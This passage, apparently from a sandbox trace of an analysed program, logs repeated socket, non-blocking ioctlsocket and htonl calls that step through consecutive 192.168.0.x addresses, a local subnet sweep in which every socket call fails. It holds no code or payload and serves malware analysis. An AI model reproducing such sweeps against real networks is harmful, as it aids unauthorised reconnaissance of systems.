(hostlong=0xc0a8000c) returned 0xc00a8c0 [0259.263] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.263] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.263] htonl (hostlong=0xc0a8000d) returned 0xd00a8c0 [0259.263] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.263] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.263] htonl (hostlong=0xc0a8000e) returned 0xe00a8c0 [0259.263] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.263] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.263] htonl (hostlong=0xc0a8000f) returned 0xf00a8c0 [0259.263] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.263] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.263] htonl (hostlong=0xc0a80010) returned 0x1000a8c0 [0259.263] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.263] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.263] htonl (hostlong=0xc0a80011) returned 0x1100a8c0 [0259.263] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.263] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.263] htonl (hostlong=0xc0a80012) returned 0x1200a8c0 [0259.263] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.263] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.263] htonl (hostlong=0xc0a80013) returned 0x1300a8c0 [0259.263] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.264] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.264] htonl (hostlong=0xc0a80014) returned 0x1400a8c0 [0259.264] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.264] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.264] htonl (hostlong=0xc0a80015) returned 0x1500a8c0 [0259.264] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.264] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.264] htonl (hostlong=0xc0a80016) returned 0x1600a8c0 [0259.264] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.264] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.264] htonl (hostlong=0xc0a80017) returned 0x1700a8c0 [0259.264] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.264] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.264] htonl (hostlong=0xc0a80018) returned 0x1800a8c0 [0259.264] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.264] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.264] htonl (hostlong=0xc0a80019) returned 0x1900a8c0 [0259.264] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.264] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.264] htonl (hostlong=0xc0a8001a) returned 0x1a00a8c0 [0259.264] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.264] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.264] htonl (hostlong=0xc0a8001b) returned 0x1b00a8c0 [0259.264] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.264] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.264] htonl (hostlong=0xc0a8001c) returned 0x1c00a8c0 [0259.264] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.264] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.264] htonl (hostlong=0xc0a8001d) returned 0x1d00a8c0 [0259.264] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.264] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.264] htonl (hostlong=0xc0a8001e) returned 0x1e00a8c0 [0259.264] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.264] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.264] htonl (hostlong=0xc0a8001f) returned 0x1f00a8c0 [0259.264] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.264] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.264] htonl (hostlong=0xc0a80020) returned 0x2000a8c0 [0259.264] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.265] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.265] htonl (hostlong=0xc0a80021) returned 0x2100a8c0 [0259.265] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.265] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.265] htonl (hostlong=0xc0a80022) returned 0x2200a8c0 [0259.265] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.265] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.265] htonl (hostlong=0xc0a80023) returned 0x2300a8c0 [0259.265] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.265] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.265] htonl (hostlong=0xc0a80024) returned 0x2400a8c0 [0259.265] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.265] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.265] htonl (hostlong=0xc0a80025) returned 0x2500a8c0 [0259.265] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.265] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.265] htonl (hostlong=0xc0a80026) returned 0x2600a8c0 [0259.265] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.265] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.265] htonl (hostlong=0xc0a80027) returned 0x2700a8c0 [0259.265] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.265] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.265] htonl (hostlong=0xc0a80028) returned 0x2800a8c0 [0259.265] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.265] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.265] htonl (hostlong=0xc0a80029) returned 0x2900a8c0 [0259.265] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.265] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.265] htonl (hostlong=0xc0a8002a) returned 0x2a00a8c0 [0259.265] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.265] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.265] htonl (hostlong=0xc0a8002b) returned 0x2b00a8c0 [0259.265] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.265] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.265] htonl (hostlong=0xc0a8002c) returned 0x2c00a8c0 [0259.266] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.266] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.266] htonl (hostlong=0xc0a8002d) returned 0x2d00a8c0 [0259.266] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.266] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.266] htonl (hostlong=0xc0a8002e) returned 0x2e00a8c0 [0259.266] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.266] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.266] htonl (hostlong=0xc0a8002f) returned 0x2f00a8c0 [0259.266] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.266] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.266] htonl (hostlong=0xc0a80030) returned 0x3000a8c0 [0259.266] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.266] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.266] htonl (hostlong=0xc0a80031) returned 0x3100a8c0 [0259.266] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.266] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.266] htonl (hostlong=0xc0a80032) returned 0x3200a8c0 [0259.266] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.266] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.266] htonl (hostlong=0xc0a80033) returned 0x3300a8c0 [0259.266] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.266] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.266] htonl (hostlong=0xc0a80034) returned 0x3400a8c0 [0259.266] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.266] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.266] htonl (hostlong=0xc0a80035) returned 0x3500a8c0 [0259.266] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.266] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.266] htonl (hostlong=0xc0a80036) returned 0x3600a8c0 [0259.266] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.266] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.266] htonl (hostlong=0xc0a80037) returned 0x3700a8c0 [0259.266] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.266] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.266] htonl (hostlong=0xc0a80038) returned 0x3800a8c0 [0259.266] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.266] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.266] htonl (hostlong=0xc0a80039) returned 0x3900a8c0 [0259.267] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.267] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.267] htonl (hostlong=0xc0a8003a) returned 0x3a00a8c0 [0259.267] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.267] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.267] htonl (hostlong=0xc0a8003b) returned 0x3b00a8c0 [0259.267] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.267] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.267] htonl (hostlong=0xc0a8003c) returned 0x3c00a8c0 [0259.267] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.267] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.267] htonl (hostlong=0xc0a8003d) returned 0x3d00a8c0 [0259.267] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.267] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.267] htonl (hostlong=0xc0a8003e) returned 0x3e00a8c0 [0259.267] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.267] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.267] htonl (hostlong=0xc0a8003f) returned 0x3f00a8c0 [0259.267] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.267] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.267] htonl (hostlong=0xc0a80040) returned 0x4000a8c0 [0259.267] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.267] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.267] htonl (hostlong=0xc0a80041) returned 0x4100a8c0 [0259.267] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.267] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.267] htonl (hostlong=0xc0a80042) returned 0x4200a8c0 [0259.267] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.267] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.267] htonl (hostlong=0xc0a80043) returned 0x4300a8c0 [0259.267] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.267] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.267] htonl (hostlong=0xc0a80044) returned 0x4400a8c0 [0259.267] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.267] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.268] htonl (hostlong=0xc0a80045) returned 0x4500a8c0 [0259.268] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.268] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.268] htonl (hostlong=0xc0a80046) returned 0x4600a8c0 [0259.268] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.268] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.268] htonl (hostlong=0xc0a80047) returned 0x4700a8c0 [0259.268] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.268] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.268] htonl (hostlong=0xc0a80048) returned 0x4800a8c0 [0259.268] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.268] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.268] htonl (hostlong=0xc0a80049) returned 0x4900a8c0 [0259.268] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.268] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.268] htonl (hostlong=0xc0a8004a) returned 0x4a00a8c0 [0259.268] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.268] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.268] htonl (hostlong=0xc0a8004b) returned 0x4b00a8c0 [0259.268] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.268] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.268] htonl (hostlong=0xc0a8004c) returned 0x4c00a8c0 [0259.268] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.268] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.268] htonl (hostlong=0xc0a8004d) returned 0x4d00a8c0 [0259.268] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.268] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.268] htonl (hostlong=0xc0a8004e) returned 0x4e00a8c0 [0259.268] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.268] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.268] htonl (hostlong=0xc0a8004f) returned 0x4f00a8c0 [0259.268] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.268] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.268] htonl (hostlong=0xc0a80050) returned 0x5000a8c0 [0259.268] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.269] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.269] htonl (hostlong=0xc0a80051) returned 0x5100a8c0 [0259.269] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.269] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.269] htonl (hostlong=0xc0a80052) returned 0x5200a8c0 [0259.269] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.269] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.269] htonl (hostlong=0xc0a80053) returned 0x5300a8c0 [0259.269] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.269] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.269] htonl (hostlong=0xc0a80054) returned 0x5400a8c0 [0259.269] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.269] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.269] htonl (hostlong=0xc0a80055) returned 0x5500a8c0 [0259.269] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.269] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.269] htonl (hostlong=0xc0a80056) returned 0x5600a8c0 [0259.269] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.269] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.269] htonl (hostlong=0xc0a80057) returned 0x5700a8c0 [0259.269] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.269] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.269] htonl (hostlong=0xc0a80058) returned 0x5800a8c0 [0259.269] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.269] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.269] htonl (hostlong=0xc0a80059) returned 0x5900a8c0 [0259.269] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.269] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.269] htonl (hostlong=0xc0a8005a) returned 0x5a00a8c0 [0259.269] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.269] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.269] htonl (hostlong=0xc0a8005b) returned 0x5b00a8c0 [0259.269] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.269] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.269] htonl (hostlong=0xc0a8005c) returned 0x5c00a8c0 [0259.269] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.269] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.269] htonl (hostlong=0xc0a8005d) returned 0x5d00a8c0 [0259.270] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.270] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.270] htonl (hostlong=0xc0a8005e) returned 0x5e00a8c0 [0259.270] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.270] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.270] htonl (hostlong=0xc0a8005f) returned 0x5f00a8c0 [0259.270] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.270] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.270] htonl (hostlong=0xc0a80060) returned 0x6000a8c0 [0259.270] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.270] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.270] htonl (hostlong=0xc0a80061) returned 0x6100a8c0 [0259.270] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.270] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.270] htonl (hostlong=0xc0a80062) returned 0x6200a8c0 [0259.270] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.270] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.270] htonl (hostlong=0xc0a80063) returned 0x6300a8c0 [0259.270] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.270] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.270] htonl (hostlong=0xc0a80064) returned 0x6400a8c0 [0259.270] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.270] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.270] htonl (hostlong=0xc0a80065) returned 0x6500a8c0 [0259.270] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.270] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.270] htonl (hostlong=0xc0a80066) returned 0x6600a8c0 [0259.270] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.270] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.270] htonl (hostlong=0xc0a80067) returned 0x6700a8c0 [0259.270] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.270] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.270] htonl (hostlong=0xc0a80068) returned 0x6800a8c0 [0259.270] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.270] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.270] htonl (hostlong=0xc0a80069) returned 0x6900a8c0 [0259.270] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.270] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.271] htonl (hostlong=0xc0a8006a) returned 0x6a00a8c0 [0259.271] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.271] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.271] htonl (hostlong=0xc0a8006b) returned 0x6b00a8c0 [0259.271] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.271] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.271] htonl (hostlong=0xc0a8006c) returned 0x6c00a8c0 [0259.271] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.271] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.271] htonl (hostlong=0xc0a8006d) returned 0x6d00a8c0 [0259.271] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.271] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.271] htonl (hostlong=0xc0a8006e) returned 0x6e00a8c0 [0259.271] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.271] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.271] htonl (hostlong=0xc0a8006f) returned 0x6f00a8c0 [0259.271] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.271] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.271] htonl (hostlong=0xc0a80070) returned 0x7000a8c0 [0259.271] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.271] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.271] htonl (hostlong=0xc0a80071) returned 0x7100a8c0 [0259.271] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.271] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.271] htonl (hostlong=0xc0a80072) returned 0x7200a8c0 [0259.271] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.271] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.271] htonl (hostlong=0xc0a80073) returned 0x7300a8c0 [0259.271] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.271] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.271] htonl (hostlong=0xc0a80074) returned 0x7400a8c0 [0259.271] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.271] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.271] htonl (hostlong=0xc0a80075) returned 0x7500a8c0 [0259.271] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.271] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.271] htonl (hostlong=0xc0a80076) returned 0x7600a8c0 [0259.271] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.272] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.272] htonl (hostlong=0xc0a80077) returned 0x7700a8c0 [0259.272] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.272] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.272] htonl (hostlong=0xc0a80078) returned 0x7800a8c0 [0259.272] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.272] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.272] htonl (hostlong=0xc0a80079) returned 0x7900a8c0 [0259.272] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.272] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.272] htonl (hostlong=0xc0a8007a) returned 0x7a00a8c0 [0259.272] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.272] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.272] htonl (hostlong=0xc0a8007b) returned 0x7b00a8c0 [0259.272] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.272] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.272] htonl (hostlong=0xc0a8007c) returned 0x7c00a8c0 [0259.272] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.272] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.272] htonl 